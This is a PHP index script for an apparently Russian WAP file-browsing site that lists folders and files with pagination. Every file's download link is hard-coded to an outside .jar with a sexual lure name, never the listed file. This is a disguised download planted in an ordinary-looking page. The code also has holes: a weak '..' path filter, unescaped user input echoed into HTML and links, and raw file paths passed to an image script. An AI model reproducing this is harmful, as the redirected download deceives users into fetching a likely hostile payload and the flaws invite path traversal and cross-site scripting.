View file index.php

File size: 1.24Kb
<?php
$cardid = "index";
include("xml.php");
$d = str_replace("..","",$d);
if($d == "") $d = ".";
function allfiles($path)
	{
	  return count(glob($path."/*"));
	}

$ex=explode("/",$d);
$ph.=".";
foreach($ex as $v)
	{
	  if($v!="" and $v!=".")
		{
		  $ph.="/$v"; $put.="<a href='index.php?d=$ph'>".$v."</a>&gt;";
		}
	}

$path="files/";
$o=opendir($path."".$d) or die("Запрещено! ".$path.$d.$px);
while($f=readdir($o))
	{
	  if($f!="." and $f!="..")
		{
		  if(is_dir($path.$d."/".$f)) $link[]=$folder."<a href='index.php?d=$d/$f'>".$f."</a>(".allfiles($path.$d."/".$f).")<br/>";
		  else {if(strpos($f,"jpg") or strpos($f,"gif"))$sk="<img src='im.php?pic=".$path."".$d."/".$f."' alt='..'/>";$link[]=$sk."<br/><a href='http://r.wap2k.org/454/sex_in_school.jar'>Cкачать</a>[".round(filesize($path.$d."/".$f)/1024)."kb]<br/>";$sk="";}
		}
	}
echo " Всего файлов: ".count($link)."<br/>-----<br/>";
if($n=="")$n=0;
for($i=1; $i<=10; $i++)
	{
	  if(isset($link[$n])) echo $link[$n];
	  $n++;
	}
$off=$n-20;
echo "<a href='index.php?d=$d&amp;n=$off'>Назад </a> | <a href='index.php?d=$d&amp;n=$n'> Далее</a><br/><br/><a href='sogl.php'>The agreement</a>";
include("online.php");
echo $px;
?>